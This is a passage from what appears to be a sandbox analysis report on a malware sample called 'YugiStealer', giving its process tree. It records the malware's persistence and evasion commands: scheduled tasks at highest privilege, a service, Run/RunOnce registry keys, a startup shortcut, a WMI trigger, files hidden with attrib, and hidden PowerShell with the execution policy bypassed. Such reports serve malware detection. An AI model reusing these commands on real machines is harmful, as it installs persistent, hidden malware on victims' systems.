    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7744
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8144
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7544
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6268
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8320
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8684
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:9016
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7316
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8236
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:6780
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest
    3⤵
    PID:9156
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7524
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\services.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\services.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7756
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\services.exe\" start= auto"
  2⤵
  PID:1980
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\services.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:8800
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f"
  2⤵
  PID:9120
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f
    3⤵
    - Modifies registry key
    PID:3904
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f"
  2⤵
  PID:5260
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\services.exe\" /f
    3⤵
    - Modifies registry key
    PID:8088
- C:\Windows\Temp\yGIRxvFw\TraumatizerV3.exe
  "C:\Windows\Temp\yGIRxvFw\TraumatizerV3.exe"
  2⤵
  PID:7196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:7748
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs
  2⤵
  PID:9304
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:9628
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10644
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1492
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs"
      4⤵
      Views/modifies file attributes
      PID:4836
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:9792
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10792
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs"
      4⤵
      PID:10480
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10536
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6820
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs"
      4⤵
      PID:12040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\yGIRxvFw\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    PID:11324
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:9444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:9776
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:9464
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:10376
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:11040
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10212
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:10392
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:9944
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:10176
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:1828
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:3384
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:11096
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:8120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:9228
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:1512
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:10932

C:\Users\Public\Documents\csrss.exe
C:\Users\Public\Documents\csrss.exe
1⤵
PID:5740
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4232
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2956
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2776
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:2456
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4776
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1660
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6060
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1900
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2980
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4144
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6592
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6376
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:4540
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1160
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6924
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\csrss.exe\"; $Shortcut.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\csrss.exe\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6580
- - C:\Users\Public\Documents\csrss.exe
    "C:\Users\Public\Documents\csrss.exe"
    3⤵
    PID:2680
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"
      4⤵
      PID:8500
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest
        5⤵
        
        PID:8076
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
      4⤵
      PID:3140
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
        5⤵
        
        PID:8640
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
      4⤵
      PID:11004
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
        5⤵
        
        PID:10004
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
      4⤵
      PID:9072
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
        5⤵
        
        PID:7520
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
      4⤵
      PID:7476
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9952
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest"
      4⤵
      PID:11660
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onstart /f /rl highest
        5⤵
        
        PID:12072
  - - C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest"
      4⤵
      PID:1872
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\csrss.exe\" /sc onlogon /f /rl highest
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\csrss.exe\"; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\csrss.exe\" }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10076
- C:\Windows\system32\cmd.exe
  "cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\csrss.exe\" start= auto"
  2⤵
  PID:4308
- - C:\Windows\system32\sc.exe
    sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\csrss.exe\" start= auto
    3⤵
    - Launches sc.exe
    PID:9040
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f"
  2⤵
  PID:8068
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f
    3⤵
    - Modifies registry key
    PID:8420
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f"
  2⤵
  PID:7604
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\csrss.exe\" /f
    3⤵
    - Modifies registry key
    PID:7504
- C:\Windows\Temp\zpQ4Bv4P\TraumatizerV3.exe
  "C:\Windows\Temp\zpQ4Bv4P\TraumatizerV3.exe"
  2⤵
  PID:10152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:3304
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Windows\Temp\zpQ4Bv4P\FartnutsTrauma.vbs
  2⤵
  PID:7696
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:8208
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\zpQ4Bv4P\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:6964
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:12052
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\zpQ4Bv4P\FartnutsTrauma.vbs"
      4⤵
      PID:11464
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\zpQ4Bv4P\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    PID:10396
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:7540
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\Temp\zpQ4Bv4P\FartnutsTrauma.vbs"
      4⤵
      PID:4180
- C:\Users\Admin\Downloads\TraumatizerV3.exe
  "C:\Users\Admin\Downloads\TraumatizerV3.exe"
  2⤵
  PID:9760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
    3⤵
    PID:7788
- C:\Windows\system32\wscript.exe
  "wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs
  2⤵
  PID:8448
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c @echo off
    3⤵
    PID:8128
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:9616
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:12140
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:12044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&1
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:10160
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:12408
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"
      4⤵
      PID:9180
- C:\Windows\system32\cmd.exe
  "cmd" /c "tasklist /v /fo csv"
  2⤵
  PID:7940
- - C:\Windows\system32\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    PID:9012

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3928

C:\Windows\Temp\services.exe
"C:\Windows\Temp\services.exe"
1⤵
PID:1692
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:2176
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1280
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:572
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6260
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6396
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6008
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:1148
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:1160
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4880
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6900
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:4552
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5016
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:200
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7052
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:3184
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest
    3⤵
    PID:4192
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7324
- - C:\Windows\system32\schtasks.exe
